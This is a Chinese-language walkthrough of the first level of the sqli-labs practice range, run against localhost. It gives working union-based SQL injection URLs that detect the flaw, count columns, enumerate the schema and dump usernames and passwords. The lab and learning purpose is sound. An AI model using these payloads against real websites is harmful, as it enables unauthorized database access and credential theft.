前序
- 该教程均使用火狐浏览器
- HackBar自行从网络下载
Sql注入简介
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
在进行注入之前,我们需要补充几个经常使用的mysql(高版本所使用的方法)操作
- 查库:
结果为:select schema_name from information_schema.schemata;
- 查表:(该查询为靶场使用的数据库security)
结果为:select table_name from information_schema.tables where table_schema='security';
- 查列:
结果为:select column_name from information_schema.columns where table_name='users';
- 查字段:
结果为:select username,password from security.users;
声明
由于我搭建了不同的靶场,以及测试数据库,所以查询的结果比较多,大家可以忽略其中的一些,只需要看与本靶场相关的表单数据即可。
Less1
输入?id=1后,sql语句如下,并成功取出数据
SELECT * FROM users WHERE id='1' LIMIT 0,1;
输入?id=1’时出现报错,证明其存在注入漏洞,这时该SQL语句为
SELECT * FROM users WHERE id='1'' LIMIT 0,1;
并且显示SQL语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
输入?id=1’会出现错误,如果注释掉后面的会出现如何反应,所以我们采取 —+ 进行注释
在URL中输入:
http://127.0.0.1/sqli-labs/Less-1/?id=1' --+
并未出现报错
所以根据第一次报错的SQL语法错误中我们可以得出该注入类型为字符型,LIMIT前面的’符号是为了闭合id=’
LIMIT 0,1是什么意思:
我们进行如下操作:
使用SQL语句:
select * from users limit 0,1;
查询结果为:
继续使用语句:
select * from users limit 1,1;
结果为:
继续使用语句:
select * from users limit 0,2;
结果为:
由此我们可以得出结论LIMIT X,Y的意思为:
- X:查询的第几行-1,也就是需要从第几行开始查询,第一行就1-1=0,X=0即可,第二行X=1即可
- Y:查询的几行信息数(从当前位置往后数查询的ID个数),Y=1时则显示一个,Y=2时则显示两个,如上图所示
- 所以如上图,结论所示:LIMIT 0,1的含义为查询ID为1的人的信息;LIMIT 0,2的意思为查询ID=1,ID=2的人的信息,并且显示出来
为了知道该表有几列数据,我们需要用order by进行对列排序。为了向大家阐述清楚,我们进入数据库进行操作。
首先不使用order by查询结果为;
使用之后的sql语句为:
select * from users order by 1;
结果为(与上表一致,是因为在查询之前,开发者已经对ID进行了排序):
我们接着尝试其他关于order by语句的查询
select * from users order by 2;
结果为:
由此可以看出order by能对属性列中的数据进行排序,如果进行查询时超出了属性列的大小,例如order by 4
则会出现报错,由此我们可以证明,所进行SQL注入的表中有几个属性列的数据。
所以在URL中输入:
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
结果为:
在URL中输入order by 4,则会出现报错:
由此我们可以证明属性列有三列
所以在这之后我们要是用**union select** 进行查看回显
在URL中输入:
http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3 --+
其结果为:
虽然注入正确,但是并未出现什么特殊回显;
但是当我们把URL中的id=1’变成id=-1时,出现回显:
由此我们要对union select语句进行分析,为什么要用该语句:
所以我们进行以下操作,深入查看union select语句的作用,究竟是干什么的;
使用该语句进行查询:
select * from users limit 1,1 union select 1,2,3;
如果报错结果如下:
则应该更改语句为:
(select * from users limit 1,1) union select 1,2,3;
结果为:
当我们使用该语句查询时:
(select * from users where id=1) union select 1,2,3;
结果和靶场结果对应:
在表中则是:
我们继续在表中使用sql语句,另id=-1,查看结果:
根据次结果,回到靶场进行操作:
之所以得到该页面,我们可以理解为,在2,3位置我们可以进行使用,并且查看回显;
这就是union select查询的目的;
要进行下面的操作,我们需要了解几个常用的函数:
system_user();
user();
current_user();
database();
version();
@@datadir;
@@version_compile_os;
我们来看一下这些函数是有什么作用:
system_user(); ——-显示系统用户root
![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617347906382-4b23a8dc-91b4-46ca-935a-b1bff5ecc6a1.png#height=149&id=2kQsp&originHeight=149&originWidth=395&originalType=binary&status=done&style=none&width=395)
user(); ——-显示的登录用户
![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348036017-40693dcb-6f7d-4817-983f-3045087078fb.png#height=145&id=WJSwC&originHeight=145&originWidth=318&originalType=binary&status=done&style=none&width=318)
current_user(); ——-显示当前用户
![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348169693-322117ac-3e5a-4ed1-90b3-e8a1f7a56294.png#height=159&id=S6U9M&originHeight=159&originWidth=361&originalType=binary&status=done&style=none&width=361)
database(); ———可以知道我们当前所使用的数据库
![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348227523-4bdc0622-a4e5-447e-872c-16d3bf43caab.png#height=153&id=2hIRF&originHeight=153&originWidth=371&originalType=binary&status=done&style=none&width=371)
version(); ———可以知道我们所使用的数据库的版本信息
![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348383824-161f39e6-f5c4-442f-9c9b-2de159c5d2cf.png#height=154&id=SaESh&originHeight=154&originWidth=318&originalType=binary&status=done&style=none&width=318)
@@datadir; ————可以知道MySql的安装路径
![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348563877-6c7facc6-c4b0-4c2a-90e6-16906e728019.png#height=144&id=NCpVv&originHeight=144&originWidth=537&originalType=binary&status=done&style=none&width=537)
@@version_compile_os; **———-可以知道当前的操作系统**
![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348608599-51aade8a-509c-4d0d-a452-3006d476c5d9.png#height=149&id=4lATi&originHeight=149&originWidth=447&originalType=binary&status=done&style=none&width=447)
回到Less1
我们先进行查库操作,在URL中添加查库语句,并查看其返回结果:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata --+
页面返回结果为:
由此我们可以看出,在Your Password位置上显示的是第一个数据库,因为之前已经证明过第三行只能显示一行数据,那我们可以根据之前所说的改变 limit X,Y中的X的值由此来找到我们所需要的数据信息
在URL后面添加不同的X值 Limit X,Y,也可以使用groupconcat()函数进行显示,在这里我使用group_concat()函数进行演示:** ——(这个函数groupconcat()__可以将所有数据连接进行拼接后,作为一行进行展示)**
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 11,1--+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
结果为:
因为我们要对security数据库进行操作,所以继续使用该函数,进行查询security中的表单操作;
在URL中改变如下:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
结果如下:
但是在这里,并不推荐使用单引号’security’来进行操作,因为单引号可能会出现一些问题,所以推荐使用十六进制,在 security前加 0x ,再将security转化为十六进制;
操作如下图:
得到结果:
之后进行查列的操作,更改URL为:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
得到结果如下:
得到这些后,我们可以查询一下用户的密码,使用以下URL:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users --+
查询结果是:
同理只需要更改URL其中的参数既可以查询到其他的信息,但是这些数据信息只显示在第三行的位置上,因此,我们要用其他的函数来实现,查询的信息;
该函数是:
concat_ws('~',A,B);
那么查询的结果就是——— A~B、
在靶场使用一下,URL为:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users --+
结果为:
由于只能显示两行信息,达不到我们的需求,所以,我们要结合之前的函数**group_concat()**进行查询:
URL:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password) )from security.users --+
结果为:
第一关到此也就结束了…